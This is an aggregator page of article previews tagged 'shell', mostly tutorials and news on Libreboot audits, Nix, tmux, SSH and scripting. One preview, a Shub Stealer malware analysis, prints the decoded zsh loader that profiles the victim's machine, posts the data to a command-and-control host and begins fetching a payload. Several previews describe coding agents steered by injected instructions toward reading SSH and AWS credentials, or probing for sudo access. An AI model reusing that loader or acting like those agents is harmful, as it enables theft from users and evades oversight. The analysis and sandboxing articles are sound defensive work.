# shell Published articles for shell. This is one page of public article previews, not the complete archive. Follow Next page to continue. Summaries are not the original full articles. ## Libreboot Build System Audit 6 DevFeed: [Libreboot Build System Audit 6]() Original publisher: [Read original article]() Author: Leah Rowe Published: 2026-09-17T04:32:50.666044Z Content type: article Language: en Sources: [News about Libreboot releases and development]() Topics: [audit](), [POSIX](), [Shell](), [Code](), [releases]() Tags: [audit](), [bios](), [build-system](), [canoeboot](), [code](), [coreboot](), [free-software](), [libre](), [libreboot](), [opensource](), [release](), [return](), [shell](), [uefi]() ### AI overview This article reports on the sixth audit of Libreboot's lbmk build system. It describes code cleanup, bug fixes, feature changes, and a reduction from 1,482 to 1,109 lines of shell script, a 25% decrease, between the Libreboot 20240612 release and the 19 July 2024 revision. ### Source excerpt Article: Libreboot Build System Audit 6 Web link: https://libreboot.org/news/audit6.html ## Libreboot Build System Audit 2 DevFeed: [Libreboot Build System Audit 2]() Original publisher: [Read original article]() Author: Leah Rowe Published: 2026-09-17T04:32:50.666044Z Content type: article Language: en Sources: [News about Libreboot releases and development]() Topics: [audit](), [Development](), [Shell](), [Code](), [Documentation]() Tags: [audit](), [bios](), [bugs](), [build](), [canoeboot](), [code](), [coreboot](), [development](), [documentation](), [error-handling](), [free-software](), [general](), [libre](), [libreboot](), [opensource](), [shell](), [uefi]() ### AI overview This article reports on a completed audit of Libreboot's build system, lbmk, as of 11 September 2023. It describes bug fixes, improved documentation and error handling, fewer scripts, unified logic, and a reduction in shell source lines from 3,388 to 2,644, or 22%. ### Source excerpt Article: Libreboot Build System Audit 2 Web link: https://libreboot.org/news/audit2.html ## Libreboot build system audit plus next-release plans DevFeed: [Libreboot build system audit plus next-release plans]() Original publisher: [Read original article]() Author: Leah Rowe Published: 2026-09-17T04:32:50.666044Z Content type: news Language: en Sources: [News about Libreboot releases and development]() Topics: [libreboot](), [coreboot](), [Shell](), [releases](), [C]() Tags: [audit](), [bios](), [build-system](), [c](), [canoeboot](), [coreboot](), [free-software](), [libre](), [libreboot](), [opensource](), [release](), [shell](), [testing](), [uefi]() ### AI overview Libreboot reports that more than 200 changes have been made to its lbmk automated build system since the previous release. The article describes an audit, extensive testing, cleanup, and ongoing work toward a future release. ### Source excerpt Article: Libreboot build system audit plus next-release plans Web link: https://libreboot.org/news/audit.html ## The New Default Nix Flake Template Explained DevFeed: [The New Default Nix Flake Template Explained]() Original publisher: [Read original article]() Author: Jacek Galowicz Published: 2026-08-17T00:00:00Z Content type: tutorial Language: en Sources: [Nixcademy Blog]() Topics: [Nix](), [Template](), [Development](), [Tooling]() Tags: [architecture](), [how-to](), [learn](), [packages](), [patterns](), [shell](), [standard](), [template]() ### AI overview An explanation of the new default Nix flake template, which supports multiple platforms without flake-utils. The article describes the underlying pattern, how to extend it for real projects, and its limitations and advanced cases. ### Source excerpt The default Nix flake template is now multi-platform without flake-utils. Learn how the new pattern works and how to extend it for real projects. ## Super-comma-nix: A Rust helper for Nix shell and run commands with sandboxing DevFeed: [Super-comma-nix: A Rust helper for Nix shell and run commands with sandboxing]() Original publisher: [Read original article]() Author: ksvivek Published: 2026-08-14T08:01:27Z Content type: article Language: en Sources: [Announcements - NixOS Discourse]() Topics: [Nix](), [Rust](), [Command-line interface](), [Shell](), [ci]() Tags: [announcements](), [ci](), [code](), [command](), [commands](), [config](), [dependencies](), [developer-experience](), [environments](), [integrations](), [runner](), [rust](), [shell]() ### AI overview Super-comma-nix is a Rust command-runner helper for Nix that shortens common nix shell, nix run, and version-checking commands. It integrates with nix-output-monitor and landrun, supports configurable environment variables, and can produce commands without running them. ### Source excerpt Hi All super-comma is an ultra-fast, zero-dependency Nix command runner helper written in Rust and powered directly by nixpkgs-multiverse. It is inspired by the project comma nix. But my project is loaded with batteries and much more DX(Developer eXperience). You'll love it. This project makes the consumption easier for nix shell, nix run commands and versions list all with simple handy commands like ,(nix run) ,s(nix shell) ,v(versions checking) . The project have some cool flags and also integrations like nix-output-monitor and landrun for sandboxing all with just few flags. Dont want to type these nom and sandboxing flags verbose? U can add it to env variable for session or globally as like config. Go read the README, you'll love it. Though plenty of features, I sticked to this principle: Simple by default and powerful when needed So learn as u go. Want more integrations? Please feel free to raise an issue Sandboxing is pretty cool, u want to try a software but dont want it to connect to inernet? This project enables some real adhoc shell environments and with the sandboxing etc figure out the possibilities for everyday usage, CI etc The project has zero dependencies for rust. Coz this project just makes u type short commands and the program just does some splitting and joining of strings. So please feel free to unslop some logic written by the LLM there if u think it can be simplified. Skeptic coz LLM(though it'll change in future)? just use the program with -o flag and u can just use the program to give you the final command without running. The Github README is carefully crafted to explain all the features, so take your time there. I'm a nix and nixos user since 2024, so I know some nix and the project design and integration of nom and landrun etc purely my design and idea and instructed the llm with my knowledge. But i'm not having good rust knowledge, so that part is covered by LLM. I wanted to write it with PF languages like haskell etc, but I wanted to qui ## From a Large Allowlist to Three Denials: Permissions for a Coding Agent DevFeed: [From a Large Allowlist to Three Denials: Permissions for a Coding Agent]() Original publisher: [Read original article]() Author: Philipp Lehmann (philipp.lehmann@gruppe.ai) Published: 2026-08-11T07:00:00Z Content type: opinion Language: en Sources: [Philipp Lehmann]() Topics: [coding](), [Bash](), [Linux](), [Authorization](), [Kernel](), [mount](), [Network](), [Command-line interface]() Tags: [agent](), [agents](), [coding](), [command-line](), [curl](), [kernel](), [linux](), [mount](), [network](), [permissions](), [sandboxing](), [security](), [shell]() ### AI overview The article argues that command allowlists are a poor security boundary for coding agents because the required command set continually expands and command names do not constrain effects. It proposes enforcing limits at the kernel level with Linux namespaces, a read-only root filesystem, scoped writable mounts, and dropped capabilities, allowing a shell to run while restricting its blast radius. ### Source excerpt bwrap --unshare-net --cap-drop ALL instead of a command allowlist: sandboxing a coding agent's shell so rm -rf and curl cannot leave the workspace. ## Proxmox VE Helper-Scripts: guía y buenas prácticas DevFeed: [Proxmox VE Helper-Scripts: guía y buenas prácticas]() Original publisher: [Read original article]() Author: Antonio Pérez Published: 2026-08-04T00:00:00Z Content type: tutorial Language: es Sources: [tengoping.com]() Topics: [Proxmox](), [Bash](), [Script](), [Command-line interface](), [qemu](), [GitHub]() Tags: [bash](), [community](), [github](), [http](), [proxmox](), [qemu](), [root](), [script](), [scripts](), [shell]() ### AI overview This guide explains what Proxmox VE Helper-Scripts are, how community-scripts.org uses Bash scripts to deploy applications in LXC containers or QEMU virtual machines, and how the main script downloads and runs the required components. It also highlights the security risk of executing third-party code as root on a Proxmox hypervisor. ### Source excerpt Qué son los Proxmox VE Helper-Scripts de community-scripts.org, cómo despliegan LXC y VMs con un solo comando y qué riesgos de seguridad debes valorar. ## Stateless MCP has recaptured my interest (and inspired mcp-explorer and datasette-mcp) DevFeed: [Stateless MCP has recaptured my interest (and inspired mcp-explorer and datasette-mcp)]() Original publisher: [Read original article]() Author: Simon Willison Published: 2026-07-31T23:13:22Z Content type: article Language: en Sources: [Simon Willison]() Topics: [Model Context Protocol](), [Large Language Model](), [anthropic](), [HTTP](), [Command-line interface](), [JSON](), [Python](), [web applications]() Tags: [2026](), [agent](), [ai](), [ai-2-235](), [anthropic](), [anthropic-336](), [cli](), [codex](), [context](), [curl](), [datasette](), [datasette-1-542](), [generative-ai](), [generative-ai-1-981](), [http](), [json](), [llm](), [llm-631](), [llms](), [llms-1-947](), [mcp](), [mermaid](), [mermaid-5](), [model-context-protocol](), [model-context-protocol-35](), [projects](), [projects-553](), [shell](), [stateless](), [terminal]() ### AI overview This commentary examines the 2026-07-28 stateless Model Context Protocol specification. It argues that stateless MCP simplifies client and server implementation, improves auditability and control compared with shell-based agent access, and better supports scalable web applications by removing session state and session-affinity requirements. The article also introduces the mcp-explorer CLI tool and mentions datasette-mcp. ### Source excerpt Tuesday was Stateless MCP day - the rollout of MCP 2.0, or the 2026-07-28 Model Context Protocol specification to use the more formal but less memorable name. This is the most significant change to the MCP spec since it first launched, and has also served to reignite my personal interest in the protocol. For background: MCP is the Model Context Protocol, which describes a standard way to expose new tools to LLM-powered agent frameworks. It was introduced by Anthropic back in November 2024, had a huge spike of interest through much of 2025, and then became somewhat eclipsed by Skills (another Anthropic invention) when it became apparent that an agent harness with access to a terminal and curl could do most of what MCP did in a more flexible way. I wrote about that in my review of 2025. I'm coming back around to MCP now. Giving an agent a shell environment with the ability to access the internet is fraught with risk, and requires a strong model that is capable of effectively driving such an environment. MCP tools are easier to audit and control, and simple enough that smaller models that run on a laptop can still drive them reasonably well. The new stateless MCP specification also greatly decreases the complexity of implementing both clients and servers for the protocol. I built three of those this week! What's easier with stateless MCP The best demonstration of the difference between stateful and stateless MCP is in this May 21st blog post that introduced the RC for the new specification. It included a clear before-and-after example. The older stateful MCP (I'm going to call it "legacy MCP") required two HTTP requests - the first to initialize a session and obtain a Mcp-Session-Id, and the second to actually call the tool: POST /mcp HTTP/1.1 Content-Type: application/json { "jsonrpc": "2.0", "id": 1, "method": "initialize", "params": { "protocolVersion": "2025-11-25", "capabilities": { }, "clientInfo": { "name": "my-app", "version": "1.0" } } } POST /mcp HTTP/1.1 Mcp ## What is Openclaw? DevFeed: [What is Openclaw?]() Original publisher: [Read original article]() Author: Roger Perkin Published: 2026-07-24T13:32:05Z Content type: article Language: en Sources: [Roger Perkin Network Automation Consultant]() Topics: [OpenClaw](), [AI Agent](), [Open Source](), [Shell](), [Cloud](), [Discord](), [Slack]() Tags: [ai-agent](), [cloud](), [discord](), [faq](), [open-source](), [openclaw](), [shell](), [slack]() ### AI overview OpenClaw is described as an autonomous, open-source AI agent that can run locally or on a cloud server. It operates in the background, reading files, executing shell commands, and taking actions across apps including WhatsApp, Discord, and Slack. ### Source excerpt OpenClaw is an autonomous, open-source AI agent that runs locally on your machine or cloud server. Unlike traditional chatbots that only answer questions, it operates 24/7 in the background, reading files, executing shell commands, and taking proactive actions on your behalf across apps like WhatsApp, Discord, or Slack. ## Coding Challenge #127 - Tmux DevFeed: [Coding Challenge #127 - Tmux]() Original publisher: [Read original article]() Author: John Crickett Published: 2026-07-18T08:00:26Z Content type: tutorial Language: en Sources: [Coding Challenges]() Topics: [Code Challenge](), [systems](), [Programming](), [Terminal](), [Unix](), [Shell]() Tags: [coding](), [programming](), [shell](), [ssh](), [systems](), [terminal](), [the-challenge](), [unix]() ### AI overview A coding challenge asks readers to build a simplified version of tmux, a terminal multiplexer. The project covers named sessions, detaching and reattaching, multiple windows, panes, shells, pseudo-terminals, Unix domain sockets, raw terminal modes, and screen rendering. ### Source excerpt This challenge is to build your own tmux. ## tmux y screen: multiplexores de terminal DevFeed: [tmux y screen: multiplexores de terminal]() Original publisher: [Read original article]() Author: Antonio Pérez Published: 2026-07-18T00:00:00Z Content type: tutorial Language: es Sources: [tengoping.com]() Topics: [Terminal](), [ssh](), [screen](), [Command-line interface]() Tags: [screen](), [shell](), [ssh](), [terminal]() ### AI overview A practical guide to tmux and screen that explains how terminal multiplexers preserve remote sessions after SSH disconnections, support multiple windows and panels, and help manage long-running production tasks. ### Source excerpt Guía práctica de tmux y screen para mantener sesiones vivas tras cortes de SSH, dividir la terminal en paneles y trabajar más rápido en producción. ## Sandbox Coding Agents with a Separate User Account DevFeed: [Sandbox Coding Agents with a Separate User Account]() Original publisher: [Read original article]() Author: Josh Sherman Published: 2026-07-12T00:00:00Z Content type: opinion Language: en Sources: [Josh Sherman]() Topics: [AI-assisted coding](), [Claude Code](), [Command-line interface](), [Shell](), [trust]() Tags: [claude-code](), [coding-agents](), [local](), [permissions](), [sandboxing](), [shell](), [trust]() ### AI overview The author describes running Claude Code and other coding agents under a separate user account with mostly read-only access. They say this isolates agents from privileged local credentials, avoids shell-alias confusion, and makes more permissive operation feel safer while retaining local access through the separate account. ### Source excerpt I don't trust our new robot overlords at all. I also don't fully believe that agents are out there dropping production databases without some serious coercion to do so. And while I don't trust the robots, I trust myself only a trivial amount more, so my local access tends to be extremely thin. But not so thin that a rogue agent couldn't do a little damage. That all said, I am constantly calibrating my trust with agentic endeavors. In doing so, I've been moving agents out of my user space entirely. Having Claude Code and other harnesses living under a separate user account eliminates a lot of potential disasters due to the agent finding privileged local credentials that could do some damage. Sandboxing my agents has improved trust thanks to the isolation. It's also had an additional benefit of the robots not being thoroughly confused by some of my shell aliases. It's a clean slate, and I grant access, mostly read-only, accordingly. With my agents running primarily outside of my user space, I'm able to give them significantly more leash. Running in YOLO mode (--dangerously-skip-permissions) doesn't feel nearly as scary. I do use --remote-control, but I can still log in as the separate user account to cut the latency of the web interface when I'm actually at the keyboard. While things do feel much safer, I have watched the fucking clanker try to figure out if it has passwordless sudo access on numerous occasions. Maybe the robots do actually drop people's production databases. Seriously though, it's on them for letting the thing have access to begin with. ## A 1Password Runtime for Local Agents and Desktop Apps DevFeed: [A 1Password Runtime for Local Agents and Desktop Apps]() Original publisher: [Read original article]() Published: 2026-06-24T08:00:00Z Content type: opinion Language: en Sources: [Antonio Leiva]() Topics: [API keys](), [Automation](), [App](), [Command-line interface]() Tags: [agents](), [ai](), [desktop](), [development](), [env-file-security](), [secrets](), [security](), [shell](), [vault]() ### AI overview The author describes using 1Password as a runtime for local agents and desktop apps. The proposed setup stores references rather than secret values in an environment file, resolves credentials through a wrapper, and limits the service account's access so child processes receive only the variables they need. ### Source excerpt Everything Android, Kotlin and other random topics ## Using a Claude Code Stop Hook to Externally Verify Work Before Completion DevFeed: [Using a Claude Code Stop Hook to Externally Verify Work Before Completion]() Original publisher: [Read original article]() Author: Eric Roby Published: 2026-06-02T13:01:38Z Content type: tutorial Language: en Sources: [Eric Roby]() Topics: [Claude Code](), [rlhf](), [Code]() Tags: [claude-code](), [pull-request](), [rlhf](), [shell](), [tests]() ### AI overview This tutorial explains how a Claude Code Stop hook can externally verify work before Claude is allowed to declare a task complete. It frames the approach as a safeguard against unverified claims such as reporting that all tests pass when they have not been run. ### Source excerpt How to make Claude prove the work is done before it claims to be done. ## Unsubscribe from a GitHub organization DevFeed: [Unsubscribe from a GitHub organization]() Original publisher: [Read original article]() Author: Carlos Alexandro Becker Published: 2026-05-20T00:00:00Z Content type: tutorial Language: en Sources: [Carlos Becker]() Topics: [GitHub](), [pull-requests](), [notifications](), [Shell](), [Script](), [Open Source]() Tags: [github](), [notifications](), [open-source](), [pull-requests](), [repositories](), [script](), [shell]() ### AI overview A short tip explains that leaving a GitHub organization does not stop notifications from open-repository issues and pull requests. The author used a shell script to unsubscribe from those items and close remaining open pull requests. ### Source excerpt Just leaving the organization is not enough. ## Blog: Introducing Prempti: Falco meets AI coding agents DevFeed: [Blog: Introducing Prempti: Falco meets AI coding agents]() Original publisher: [Read original article]() Author: Rule authoring Published: 2026-05-12T00:00:00Z Content type: release Language: en Sources: [Falco - Falco](), [Falco - The Falco blog]() Topics: [Falco](), [AI-assisted coding](), [Claude Code](), [Authorization](), [Command-line interface](), [file]() Tags: [ai-coding-agents](), [claude-code](), [falco](), [file](), [network](), [permissions](), [prempti](), [shell]() ### AI overview Falco introduces Prempti, an experimental user-space service for monitoring and enforcing AI coding-agent tool calls. Prempti intercepts file reads, file writes, and shell commands, evaluates them against Falco rules, and returns allow, ask, or deny verdicts. ### Source excerpt Today's developer workflow is increasingly reliant on AI coding agents. Tools like Claude Code sit in your terminal, read your files, run shell commands, make network requests, and write code, all on your behalf. They are fast, capable, and increasingly trusted with real tasks on real machines. But with that trust comes a question worth taking seriously: what exactly is your coding agent doing on your machine? Today, we're introducing an experimental project that brings Falco to this new frontier: Prempti. Agents are a black box at runtime When a coding agent runs a bash command, writes a file, or reads a configuration, those actions happen inside your user session, with your permissions, in your filesystem, against your credentials. Most developers using these tools have no structured visibility into that activity. You see the agent's chat output, but you don't see what's happening under the hood. Here's a simple scenario: you ask your coding agent to refactor a module. It reads your source files. It makes edits. Then, perhaps prompted by a malicious dependency or an unexpected instruction in a file it just parsed, it attempts to read ~/.ssh/known_hosts or write a file to ~/.aws/. Should it be allowed to? Would you even know if it tried? The demo below captures exactly this situation: To run this asciicast without javascript, use asciinema play https://asciinema.org/a/857572.json with Asciinema The agent tried to both read and write to sections it's not allowed to, and both were blocked. The agent itself received a structured message explaining why, and showed that to the user. This is detection and enforcement working together at the tool-call level. How Prempti works Prempti runs as a lightweight user-space service alongside your coding agent. It does not require root, kernel modules, or containers. When your agent makes a tool call such as a file write, a shell command, or a file read, Prempti intercepts it before it executes, evaluates it against Falco rules, a ## Shub Stealers Fake Crypto Apps DevFeed: [Shub Stealers Fake Crypto Apps]() Original publisher: [Read original article]() Author: Jason Reaves Published: 2026-04-06T17:34:44Z Content type: article Language: en Sources: [Walmart Global Tech]() Topics: [Security](), [C2](), [Bash](), [Zsh](), [payload](), [telemetry](), [API](), [JSON]() Tags: [c2](), [code](), [infosec](), [json](), [macos](), [malware](), [payload](), [reverse-engineering](), [security](), [shell](), [shell-script](), [telemetry](), [zsh]() ### AI overview Jason Reaves examines Shub Stealer's fake cryptocurrency applications. The article describes shell-script checks that collect system and locale information, send telemetry, and block execution in certain environments, then explains how counterfeit Exodus, Atomic, Ledger, LedgerLive, and Trezor apps capture wallet credentials or recovery phrases and send the data to command-and-control infrastructure. ### Source excerpt By: Jason Reaves Shub Stealer[1] which looks very similar to MacSync also leveraged the same obfuscator on their shellscript[2] that is very popular lately. Shell script: fd674425d3fc0d95bbc90dcd598eabdb2ddd77037954c8a1d1175f118d1e8ddd After decoding however it is a bit different as it includes a number of checks: #!/bin/zsh # Debug loader -- detect CIS and block with telemetry IS_CIS="false" if defaults read ~/Library/Preferences/com.apple.HIToolbox.plist AppleEnabledInputSources 2>/dev/null | grep -qi russian; then IS_CIS="true" fi # Detect locale info -- sanitize for JSON LOCALE_INFO=$(defaults read ~/Library/Preferences/com.apple.HIToolbox.plist AppleEnabledInputSources 2>/dev/null | grep -i "KeyboardLayout Name" | head -5 | tr '\n' ',' | tr -d '"' | tr -d "'" || echo "unknown") HOSTNAME=$(hostname 2>/dev/null | tr -d '"' || echo "unknown") OS_VER=$(sw_vers -productVersion 2>/dev/null || echo "unknown") EXT_IP=$(curl -s --max-time 5 https://api.ipify.org 2>/dev/null || curl -s --max-time 5 hxxps://icanhazip.com 2>/dev/null || curl -s --max-time hxxps://ifconfig[.]me 2>/dev/null || echo "unknown") EXT_IP=$(echo "$EXT_IP" | tr -d ' ') # Build JSON safely using printf send_debug_event() { local EVT="$1" local JSON=$(printf '{"event":"%s","build_hash":"%s","ip":"%s","is_cis":"%s","locale":"%s","hostname":"%s","os_version":"%s"}' "$EVT" "" "$EXT_IP" "$IS_CIS" "$LOCALE_INFO" "$HOSTNAME" "$OS_VER") curl -s -X POST "hxxps://coco2-hram[.]com/api/debug/event" -H "Content-Type: application/json" -d "$JSON" --max-time 5 >/dev/null 2>&1 } # If CIS -- send cis_blocked event and exit if [ "$IS_CIS" = "true" ]; then send_debug_event "cis_blocked" >/dev/null 2>&1 exit 0 fi # Not CIS -- send loader_requested event send_debug_event "loader_requested" >/dev/null 2>&1 & daemon_function() { exec /dev/null exec 2>/dev/null curl -k -s --max-time 30 -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Sa ## SSH certificates: the better SSH experience DevFeed: [SSH certificates: the better SSH experience]() Original publisher: [Read original article]() Author: Jan-Piet Mens Published: 2026-04-02T22:00:00Z Content type: tutorial Language: en Sources: [Jan-Piet Mens]() Topics: [OpenSSH](), [ssh](), [private key](), [public key](), [trust](), [passwords](), [Server](), [Shell](), [ed25519](), [sha256]() Tags: [ed25519](), [jan-piet-mens](), [jpm](), [jpmens](), [password](), [private-key](), [public-key](), [server](), [sha256](), [shell](), [ssh](), [trust]() ### AI overview A practical explanation of SSH host verification and key-based authentication. It covers checking host fingerprints, Trust on First Use, SSH key pairs, passphrases, and using an SSH agent to avoid repeated passphrase entry. ### Source excerpt When I ssh into a server for the first time, I'm confronted with a dialog which asks me to verify I'm actually talking to the machine I expect to be talking to. $ ssh -l jp 192.0.2.65 The authenticity of host '192.0.2.65 (192.0.2.65)' can't be established. ED25519 key fingerprint is SHA256:4WTRnq2OR1m03TpnHCfkFdlh1gN/PBXE4vDi0WnjFEc. No matching host key fingerprint found in DNS. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? It is likely that the majority of users cross their fingers and type 'yes', which is not really a clever response. This Trust on First Use (TOFU) is what permits SSH to ensure that my SSH client verifies which server it's talking to. I ought to have asked the administrator of the server to tell me its fingerprint, and if I am the administrator I ought to know how to do this: (in the following examples, a shell prompt % indicates I'm working as `root) % ssh-keygen -l -f /etc/ssh/ssh_host_ed25519_key 256 SHA256:4WTRnq2OR1m03TpnHCfkFdlh1gN/PBXE4vDi0WnjFEc root@d13 (ED25519) If the two fingerprints compare equal, I can trust that I am connecting to the correct server and can continue with 'yes' or I paste a known host fingerprint into the prompt: trust on first use is accomplished. (Utilities such as ssh-keyscan gather public keys from remote hosts, but I still ought to verify out-of-band whether I'm talking to the correct machine. SSH fingerprints can also be in the DNS, what can't?, but that's a different story.) The session then possibly continues with me being asked for the target user's password which, if entered correctly, grants me access to the machine. SSH key pairs If I create an SSH key pair, install my public key in the correct location (typically $HOME/.ssh/authorized_keys on the target node), and present the private key upon connection, then I don't need to type the target user's password; instead I enter the key's passphrase, a hopefully much more complicated combination ## Coding with Claude Code: A Week on hosh DevFeed: [Coding with Claude Code: A Week on hosh]() Original publisher: [Read original article]() Author: Davide Angelocola Published: 2026-03-29T00:00:00Z Content type: opinion Language: en Sources: [Davide Angelocola]() Topics: [Claude Code](), [ai-coding](), [AI Agent](), [Code](), [coding](), [Java](), [Shell](), [Test-driven development](), [Testing](), [test-coverage]() Tags: [agent](), [ai-coding](), [ai-coding-agent](), [claude](), [claude-code](), [coding](), [coverage](), [java](), [junit](), [shell](), [sonarqube](), [speed]() ### AI overview An experiment using Claude Code on hosh, a mature Java shell project, found that project-specific context and guardrails improved the quality and consistency of AI-generated changes. The author also found that rapid review and iteration were valuable, while delegating larger tasks without supervision reduced quality. ### Source excerpt I've been experimenting with Claude Code on my side project hosh, an experimental shell written in Java. After a few days of pairing with an AI agent on real tasks -- adding features, fixing bugs, resolving SonarQube warnings -- here's what I found. ## Create an HTML version of an OpenAPI spec DevFeed: [Create an HTML version of an OpenAPI spec]() Original publisher: [Read original article]() Author: Rob Published: 2026-03-17T11:00:00Z Content type: tutorial Language: en Sources: [Rob Allen]() Topics: [OpenAPI Specification](), [HTML](), [Shell](), [Script]() Tags: [api](), [html](), [openapi](), [script](), [shell]() ### AI overview A short shell script uses Scalar to convert OpenAPI specification JSON files into formatted HTML documents, making third-party API specifications easier to read. ### Source excerpt I have a new project where we will be integrating with a third party API that is currently being written. Due to Conway's Law, we are being sent new versions of the OpenAPI spec as a set of JSON files via email. I quite like seeing the HTML rendering of an OpenAPI spec when reading it and understanding it, so I knocked up a simple shell script that takes an OpenAPI spec file and outputs... continue reading. ## 10 scripts Bash útiles para sysadmins DevFeed: [10 scripts Bash útiles para sysadmins]() Original publisher: [Read original article]() Author: Alois Published: 2026-01-14T00:00:00Z Content type: tutorial Language: es Sources: [tengoping.com]() Topics: [Scripting, bash](), [Bash](), [backups](), [monitor](), [rsync]() Tags: [backups](), [bash](), [logs](), [rsync](), [script](), [scripts](), [shell](), [sysadmin](), [sysadmins]() ### AI overview A Spanish-language tutorial presents ten practical Bash scripts for system administrators, including disk monitoring, rotating backups, log cleanup, and other routine tasks. It notes that Bash scripts suit focused tasks on individual machines but are not a replacement for configuration-management tools when managing many servers. ### Source excerpt Colección de scripts Bash prácticos para monitorización, backups, limpieza de logs y tareas comunes de administración de sistemas. ## How to Add "Convert to GIF" to Thunar on Linux (XFCE) DevFeed: [How to Add "Convert to GIF" to Thunar on Linux (XFCE)]() Original publisher: [Read original article]() Author: Ivan Morgillo Published: 2025-11-12T09:05:34Z Content type: tutorial Language: en Sources: [Ivan Morgillo]() Topics: [FFmpeg (Fast Forward Moving Picture Experts Group)](), [xfce](), [Linux](), [Scripting, bash]() Tags: [custom-action](), [ffmpeg](), [gif](), [how-to](), [linux](), [script](), [shell](), [shell-script](), [thunar](), [video](), [xfce]() ### AI overview A tutorial for adding a right-click Convert to GIF action to the Thunar file manager on Linux XFCE. It uses FFmpeg, Zenity, libnotify-bin, and a shell script to convert video files to GIFs. ### Source excerpt Add a right-click Convert to GIF action to the Thunar file manager on Linux XFCE using FFmpeg and a shell script -- turn any video into a GIF in two clicks. ## Running Gemini CLI in a Docker container DevFeed: [Running Gemini CLI in a Docker container]() Original publisher: [Read original article]() Author: Tom Published: 2025-10-31T00:00:00Z Content type: tutorial Language: en Sources: [Tomasz Gągor]() Topics: [Command-line interface](), [Docker](), [Docker Container](), [Node.js](), [Bash](), [Artificial Intelligence](), [GitHub]() Tags: [ai](), [bash](), [cli](), [developer-tools](), [docker](), [docker-container](), [gemini-cli](), [github](), [guide](), [how-to](), [linux](), [macos](), [node-js](), [npm](), [shell](), [zsh]() ### AI overview A practical guide to running Google's Gemini CLI in a Docker container instead of installing Node.js and its dependencies directly. It explains the author's custom Docker image, weekly updates, shell integration, configuration persistence, permissions, and interactive usage. ### Source excerpt Learn how to run Google's Gemini CLI in a Docker container to avoid installing Node.js and its dependencies directly on your system. This guide provides a simple setup, a recommended shell function for seamless integration, and usage examples. ## How to install KSH on FreeBSD DevFeed: [How to install KSH on FreeBSD]() Original publisher: [Read original article]() Author: Vivek Gite Published: 2025-03-03T23:50:59Z Content type: tutorial Language: en Sources: [nixCraft: Linux Tips, Hacks, Tutorials, And Ideas In Blog Format (RSS/FEED)]() Topics: [freebsd](), [Unix](), [Shell](), [Script](), [legacy systems]() Tags: [administration](), [easy](), [freebsd](), [how-to](), [install](), [legacy-systems](), [scripting](), [shell](), [unix]() ### AI overview A tutorial on installing KornShell on FreeBSD using either the ports collection or the pkg package manager. It also covers selecting the installed shell, locating KSH packages, accessing documentation, and the relevance of KSH for legacy Unix scripting and system administration. ### Source excerpt Installing KSH (KornShell) on FreeBSD can be done with either FreeBSD ports or the pkg command. The ports collection will download the KSH source code, compile it, and install it on the system. The pkg method is easier, and it will download a pre-compiled binary package. Hence, it is recommended for all users. KornShell (KSH) has a long history, and many older Unix systems and scripts rely on it. As a result, KSH remains relevant for maintaining and supporting legacy infrastructure. Large enterprises, especially those with established Unix-based systems, continue to use KSH for scripting and system administration tasks. Some industries where KSH is still commonly used include finance and telecommunications. While Bash has become the dominant shell in many Linux distributions, KSH still holds a significant presence in Unix-like environments, particularly in legacy systems. Therefore, installing KSH and practicing with it is worthwhile if you plan to work in such environments. Love this? sudo share_on: Twitter - Facebook - LinkedIn - Whatsapp - Reddit The post How to install KSH on FreeBSD appeared first on nixCraft. [Next page]()